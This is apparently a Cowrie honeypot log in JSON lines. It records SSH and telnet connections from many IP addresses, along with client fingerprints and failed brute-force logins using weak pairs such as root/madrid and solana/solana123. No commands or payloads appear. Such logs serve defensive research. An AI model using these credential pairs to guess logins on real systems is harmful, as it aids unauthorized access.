{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:47.709224Z","src_ip":"103.183.114.55","session":"389b9b1b7f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357a","message":"login attempt [root/159357a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:48.380802Z","src_ip":"103.183.114.55","session":"389b9b1b7f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:01:49.607540Z","src_ip":"103.183.114.55","session":"389b9b1b7f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":22310,"dst_ip":"159.203.135.109","dst_port":22,"session":"85d4214f9340","protocol":"ssh","message":"New connection: 38.93.206.2:22310 (159.203.135.109:22) [session: 85d4214f9340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:02:24.838351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:02:24.846518Z","src_ip":"38.93.206.2","session":"85d4214f9340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:02:24.903108Z","src_ip":"38.93.206.2","session":"85d4214f9340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"madrid","message":"login attempt [root/madrid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:02:25.064383Z","src_ip":"38.93.206.2","session":"85d4214f9340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:02:26.119710Z","src_ip":"38.93.206.2","session":"85d4214f9340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46424,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85a59918eff","protocol":"telnet","message":"New connection: 192.119.13.58:46424 (10.17.0.5:23) [session: e85a59918eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:07.040914Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53792,"dst_ip":"159.203.135.109","dst_port":22,"session":"578603343fdf","protocol":"ssh","message":"New connection: 80.94.92.186:53792 (159.203.135.109:22) [session: 578603343fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:20.968628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:21.057349Z","src_ip":"80.94.92.186","session":"578603343fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:21.247280Z","src_ip":"80.94.92.186","session":"578603343fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:22.048487Z","src_ip":"80.94.92.186","session":"578603343fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:23.298834Z","src_ip":"80.94.92.186","session":"578603343fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42160,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c04196d381","protocol":"ssh","message":"New connection: 185.236.22.41:42160 (159.203.135.109:22) [session: 32c04196d381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:23.743872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:23.752503Z","src_ip":"185.236.22.41","session":"32c04196d381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:23.952509Z","src_ip":"185.236.22.41","session":"32c04196d381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel123","message":"login attempt [root/angel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:24.431293Z","src_ip":"185.236.22.41","session":"32c04196d381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:25.554104Z","src_ip":"185.236.22.41","session":"32c04196d381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.14675307273865,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:03:45.187477Z","src_ip":"192.119.13.58","session":"e85a59918eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60086,"dst_ip":"159.203.135.109","dst_port":22,"session":"f539d95b608a","protocol":"ssh","message":"New connection: 109.172.54.111:60086 (159.203.135.109:22) [session: f539d95b608a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:21.397301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:21.402983Z","src_ip":"109.172.54.111","session":"f539d95b608a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:21.505850Z","src_ip":"109.172.54.111","session":"f539d95b608a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonyericsson","message":"login attempt [root/sonyericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:21.812514Z","src_ip":"109.172.54.111","session":"f539d95b608a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:22.916125Z","src_ip":"109.172.54.111","session":"f539d95b608a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":32990,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f3fddedaa41","protocol":"ssh","message":"New connection: 103.149.170.125:32990 (159.203.135.109:22) [session: 1f3fddedaa41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:42.749784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:42.754737Z","src_ip":"103.149.170.125","session":"1f3fddedaa41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:43.034199Z","src_ip":"103.149.170.125","session":"1f3fddedaa41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qw","message":"login attempt [root/123456789qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:43.873972Z","src_ip":"103.149.170.125","session":"1f3fddedaa41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:04:45.155937Z","src_ip":"103.149.170.125","session":"1f3fddedaa41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34210,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d6b4f2389c","protocol":"ssh","message":"New connection: 89.223.69.22:34210 (10.17.0.5:22) [session: 26d6b4f2389c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:04.010453Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45454,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfd6dde004fc","protocol":"ssh","message":"New connection: 103.77.175.15:45454 (159.203.135.109:22) [session: dfd6dde004fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:09.058681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:09.067092Z","src_ip":"103.77.175.15","session":"dfd6dde004fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:09.331205Z","src_ip":"103.77.175.15","session":"dfd6dde004fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna","message":"login attempt [root/anna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:10.088363Z","src_ip":"103.77.175.15","session":"dfd6dde004fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:11.345331Z","src_ip":"103.77.175.15","session":"dfd6dde004fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":51334,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e80847f9658","protocol":"ssh","message":"New connection: 176.65.148.108:51334 (159.203.135.109:22) [session: 8e80847f9658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:54.787367Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:54.873949Z","src_ip":"176.65.148.108","session":"8e80847f9658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":51336,"dst_ip":"159.203.135.109","dst_port":22,"session":"37bb95f78fd2","protocol":"ssh","message":"New connection: 176.65.148.108:51336 (159.203.135.109:22) [session: 37bb95f78fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:54.953307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:54.958294Z","src_ip":"176.65.148.108","session":"37bb95f78fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:55.041772Z","src_ip":"176.65.148.108","session":"37bb95f78fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:55.295158Z","src_ip":"176.65.148.108","session":"37bb95f78fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:05:56.381317Z","src_ip":"176.65.148.108","session":"37bb95f78fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.10","src_port":11682,"dst_ip":"10.17.0.5","dst_port":22,"session":"60a886f67498","protocol":"ssh","message":"New connection: 212.192.240.10:11682 (10.17.0.5:22) [session: 60a886f67498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:12.766590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:06:12.771830Z","src_ip":"212.192.240.10","session":"60a886f67498","protocol":"ssh"}
